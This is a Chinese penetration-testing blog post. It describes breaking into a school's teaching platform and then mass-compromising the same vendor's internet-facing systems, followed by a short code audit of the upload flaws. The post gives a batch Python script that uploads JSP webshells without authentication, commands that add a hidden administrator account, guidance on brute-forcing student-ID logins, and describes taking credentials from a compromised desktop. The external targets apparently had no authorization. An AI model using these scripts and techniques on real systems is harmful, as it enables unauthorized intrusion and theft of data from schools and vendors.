实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

admin 2021年5月26日04:27:06评论102 views字数 3074阅读10分14秒阅读模式
实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

前言


申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!

本文由团队师傅Challenger创作。

已在先知社区发布

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

Part 1 内网渗透

内网挖洞:

建议像我这样入门不久的可以拿自己学校内网练练手先(得授权),赢得认可,获取些动力,再在在教育行业SRC等漏洞平台上挖掘漏洞。

<大佬的当我没说0.0>

向信息中心的老师申请了对学校进行内网渗透测试的授权之后,便开始信息收集(亮神说的:渗透的本质是信息收集)。

因为在工作室辅助运维也知道服务器多在10.10.0.0/24这网段,这里我用Goby对该网段收集存活ip和端口。


实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

内网一堆漏洞emm,然后就可以用大佬的webalivescan批量扫一下Goby得的存活ip,获取标题,web指纹识别和简单的爆破一些目录

工具地址:

https://github.com/broken5/WebAliveScan

然后先挑带登录标题的,目录扫描到登录的或敏感目录的软柿子开干,发现xx教学平台

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

没有验证码爆破,当然有的有验证码也可能虚的,根据自己学号推测

例如 2018** 一般是根据 入校年数+专业+班级+**来设定的,爆破后4位得到弱口令:2018**    123456

然后常规的:

xxx–>控制面版–>上传头像–>Getshell

当然很多jsp马都没兼容,试了挺多这大佬的jsp马才成功

https://github.com/threedr3am/JSP-Webshells

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

直接administrator权限,提权都省了

外网批量:

上面图有:技术支持:xx公司

FOFA搜索关键词:xxx有限公司

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

然后挑一个站,爆破,xx学校,学号通过谷歌语法来搜集。

如果收集不到,大多学校学号是如下规律:

2001 0077

入学的时间+报到位次

2018 031 01 05

入校年数+专业+班级+**

2018 1 17 001   

入学年+1本科学生+17xx招生专业代号,001这专业第一个学生。

爆破失败,才恍然大悟,可能未授权文件上传呢。

于是在burp将HOST地址改成目标的地址,发送数据包

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

一发入魂,成功上传图片,改jsp也没问题,欧克妥妥的未授权文件上传!

该网站Getshell后尝试3389登录:

net user mstlab mstlab /add : 添加用户并设置密码net localgroup administrators mstlab /add : 将用户加入管理组

登录后在其桌面翻到敏感信息:测试账号和默认密码

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

同时这只是该公司的一个系统,又扩展到其它系统:(也大多成功上传)

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

但有些系统还是不行,于是用测试账号登录发现这些系统的第二处未授权文件上传,很老的FCKeditor,可运行哥斯拉马

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

至此该公司的系统基本通杀

Exploit编写:

当然少量写个html文件上传就ok了,这里较多站就写个一键返回shell脚本。下面的已脱敏

 import requests# 读取webshell文件,file = open('shell.txt', 'r',encoding='utf-8')shell = file.read()#shell=""" <%  out.println("just4test!"); %>  """headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0"}cookies={"JSESSIONID":"4F0ADEADB70AD18922C8C436837A5A3D", }# 输入目标url = input("input the TARGET(example:
)>"
)
# 定义上传目录upload_url = url+"/xxx?action=xx"#file参数files = {'file1': ('1.png', open('logo.png', 'rb'), 'image/png')}files = {'file': ("shell.jsp", shell, "image/png")}# 参见post内容upload_data = {"start": "forum_update_set", "forum_update_set": "updatacord", "forum_nick": "11", "forum_signature": " ", "forum_pic_2": " ", }# 上传upload_res = requests.post(upload_url, headers=headers,cookies=cookies, data=upload_data, files=files)# 此时会返回上传文件的路径path = upload_res.text# 解析返回值获取上传地址path = path[path.find('data')+4:path.rfind('jsp') ]# 再结合路径shell_url = url+"/dta"+path+"jsp?cmd=whoami"# 返回结果,默认是system权限print('shell is here:'+shell_url)
实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

Part 2 代码审计

内网挖洞:

白盒审计:

最近刚好入门了java web开发,虽然Getshell了,但也得了解漏洞原理吧。于是就打包源码,代码审计一下,看一下漏洞原理

源码一般在Tomcat 的 webapps 目录或者

Tomcat 下的 conf 目录Catalinalocalhost 下的配置文件

有自定义源码工程路径:如abc.xml内容:


<!–Context 表示一个工程上下文 ,path 表示工程的访问路径:/abc ,docBase 表示你的工程目录在哪里–><Context path=”/abc” docBase=”E:book” />

访问这个工程的路径如下:http://ip:port/abc/ 就表示访问 E:book 目录

然后我在Tomcat 的 webapps 找到源码并用哥斯拉的打包

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

第一个文件上传:

首先查看web.xml,看看全局的配置以及路由,先看filter过滤,可以看到filter类QDKFilte的位置

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

但我们的源码没有对应的java文件或者类,便看java依赖有对应的java包xxx.jar

反编译用IDEA的插件“Java Bytecode Decompiler”,插件安装使用可自行百度

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

反编译成功后得到对应xx.jar,注意要解压生成的jar包,即可得到java源码

然后filter类QDKFilte代码经过混淆,太烦杂,太多了并没找到session如何验证。。。。大佬请勿喷0.0我是菜鸡

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

然后文件上传漏洞web.xml可以看到文件上传的类

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

var13从全局函数获取传递的参数和值

然后getFileExtendName(var13)直接获取后缀名并直接拼接起来,然后创建文件

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

跟进getFileExtendName()是直接获取后缀的

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

第二个文件上传漏洞的上传路径是

http:/ip:8080/xxx/FCKeditor/editor/xxx/jsp/upload.jsp

找到对应的文件:

和上面的类似用getFileExtendName()直接获取后缀的然后拼接没白黑名单

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

如果对你有帮助的话
那就长按二维码,关注我们吧!

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq
实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq


实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq  实战 | 简单的sql注入与脚本的编写

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq  记一次相对完整的渗透测试

实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq  实战 | 一次简单的信息收集到getshell的过程 

右下角求赞求好看,喵~


本文始发于微信公众号(F12sec):实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaq

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月26日04:27:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | 一次从内网到外网,黑盒到白盒的批量挖洞经历qaqhttps://cn-sec.com/archives/380895.html

发表评论

匿名网友 填写信息